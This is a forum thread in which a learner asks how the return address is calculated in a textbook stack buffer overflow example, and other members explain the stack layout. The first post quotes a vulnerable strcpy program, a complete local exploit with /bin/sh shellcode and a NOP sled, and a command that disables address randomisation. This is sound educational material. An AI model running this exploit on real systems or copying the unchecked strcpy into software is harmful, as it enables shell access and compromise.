Results 1 to 8 of 8

Thread: Can't seem to grasp the concept of buffer overflows (appreciate help)

  1. #1
    Junior Member
    Join Date
    Aug 2006
    Posts
    3

    Unhappy Can't seem to grasp the concept of buffer overflows (appreciate help)

    Heya.. I located a book called "Hacking - The art of Exploitation" and somewhere into chapter 2 he flips me off because I just can't seem to understand his technique.. Here's his example code:
    vuln.c
    Code:
    int main(int argc, char *argv[])
    {
       char buffer[500];
       strcpy(buffer, argv[1]);
       return 0;
    }
    exploit.c
    Code:
    #include <stdlib.h>
    
    char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    "\x68";
    
    unsigned long sp(void)         // This is just a little function
    { __asm__("movl %esp, %eax");} // used to return the stack pointer
    
    int main(int argc, char *argv[])
    {
       int i, offset;
       long esp, ret, *addr_ptr;
       char *buffer, *ptr;
    
       offset = 0;            // Use an offset of 0
       esp = sp();            // Put the current stack pointer into esp
       ret = esp - offset;    // We want to overwrite the ret address
    
    printf("Stack pointer (ESP) : 0x%x\n", esp);
    printf("    Offset from ESP : 0x%x\n", offset);
    printf("Desired Return Addr : 0x%x\n", ret);
    
    // Allocate 600 bytes for buffer (on the heap)
     buffer = malloc(600);
    
    // Fill the entire buffer with the desired ret address
     ptr = buffer;
     addr_ptr = (long *) ptr;
     for(i=0; i < 600; i+=4)
     { *(addr_ptr++) = ret; }
    
    // Fill the first 200 bytes of the buffer with NOP instructions
     for(i=0; i < 200; i++)
     { buffer[i] = '\x90'; }
    
    // Put the shellcode after the NOP sled
     ptr = buffer + 200;
     for(i=0; i < strlen(shellcode); i++)
     { *(ptr++) = shellcode[i]; }
    
    // End the string
     buffer[600-1] = 0;
    
    // Now call the program ./vuln with our crafted buffer as its argument
     execl("./vuln", "vuln", buffer, 0);
    
    // Free the buffer memory
     free(buffer);
    
       return 0;
    }
    One needs to disable the inherent buffer overflow protection of the 2.6 kernel :
    Code:
    echo 0 > /proc/sys/kernel/randomize_va_space
    Provided this is done.. Simple buffer overflows like this one should work (the protection is circumventable I hear)

    Anyway.. A stack representation should be:
    ESP
    -------------------------------------------- Low memory addresses
    buffer
    SFP (stack/saved frame pointer)
    ret (return address)
    argc
    argv
    -------------------------------------------- High memory addresses
    EBP

    Ok.. so the stack grows upward towards lower memory addresses.. But his way of finding the correct return
    adress is to use the ESP/SP and *subtract* that value with an offset (in this case 0)..

    Now.. I don't understand why he'd subtract from the ESP meaning he should end up in an even lower memory address which won't be the address of the buffer

    ... Modifying the vuln.c code to
    vuln.c
    Code:
    int main(int argc, char *argv[])
    {
       long HugeRoadblock[500];
       char buffer[500];
       strcpy(buffer, argv[1]);
       return 0;
    }
    Should give a stack of:
    ESP
    -------------------------------------------- Low memory addresses
    buffer
    HugeRoadblock
    SFP (stack/saved frame pointer)
    ret (return address)
    argc
    argv
    -------------------------------------------- High memory addresses
    EBP

    And results in the code not being able to run

    So.. could somebody tell me exactly HOW it makes sense to subtract and offset from the SP to reach the address of the buffer ? I would have thought that you needed to *add* bytes.

    Please help.. I'm really confused which probably shows in my post

  2. #2
    AO Curmudgeon rcgreen's Avatar
    Join Date
    Nov 2001
    Posts
    2,716
    You subtract because the "base" of the stack is at
    a higher address. Stuff you put there works its
    way down to lower addresses. You are hoping that the
    extra bytes will get written to an area of memory
    where program code is executed.
    I came in to the world with nothing. I still have most of it.

  3. #3
    Elite Hacker
    Join Date
    Mar 2003
    Posts
    1,407
    If you disassemble the vuln executable with gdb, you can see that they are subtracting some number from %esp to allocate space on the stack for the buffer.

    0x08048387 <main+3>: sub $0x208,%esp
    So in the exploit code, when they grab %esp, they also subtract some number from it hoping that it is the right number so that they will get a proper return address so that their exploit is executed. Does that make any sense? I thought it might make it a bit clearer.

  4. #4
    Junior Member
    Join Date
    Aug 2006
    Posts
    3
    Thanks guys I think what happened was that I was already feeling quite sick and the next day I had a bad fever and we all know how clear we think during a fever. I re-read the chapter and your comments and hey, I get it. Thanks

    [edit]
    To anybody who reads this because they searched the forums for "buffer overflow" in the hopes of getting it explained. If all of this didn't make sense.. The code actually tries to grap the SFP (stack/saved frame pointer) because if it grabs SFP it can reference to all local variables by subtracting a bit from the memory value of the SFP.

    It's kinda like a guess-game and that's why you use NOP-sleds and such to make it easier to guess a spot..

  5. #5
    Junior Member
    Join Date
    Feb 2007
    Posts
    1
    I dont get it though :P

    In that code the function sp() returns the current stackpointer. The pointer on the top of the current stackframe (right?). And then they subtract an offset from it, which in this case is 0. So the value of esp is the adress of the top of the current stack. And why would you like to use that adress at the return adress?

    I know I missed something vital, I've read several buffer overflow tutorials the last day and it's always this thing that bugs me.

    EDIT: Yeah, and one more thing. When the function sp() is called shouldn't that function be pushed on the stack as a stack frame which means that sp it returns would be the adress of the sp of that stack frame?
    Last edited by Adux; February 19th, 2007 at 05:59 PM.

  6. #6
    Senior Member
    Join Date
    Apr 2005
    Location
    USA
    Posts
    422
    Just out of curiosity, what do you think of this book so far? I have seen this book at the book stores before, but assumed that it was some 1337 book that taught you how to do the ping of death and other stuff you can tell your 1337 friends that you can now do , not even understanding what they are...so I overlooked it, and now that I see it coming up here I'm now wondering how good it actually is.

  7. #7
    Senior Member PacketThirst's Avatar
    Join Date
    Aug 2004
    Posts
    258
    Its a neat book that covers a lot of the basics. You will have to poke around a little to understand some of the concepts explained.

  8. #8
    Senior Member
    Join Date
    Apr 2005
    Location
    USA
    Posts
    422
    Thanks, I think ill have to look into this now.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •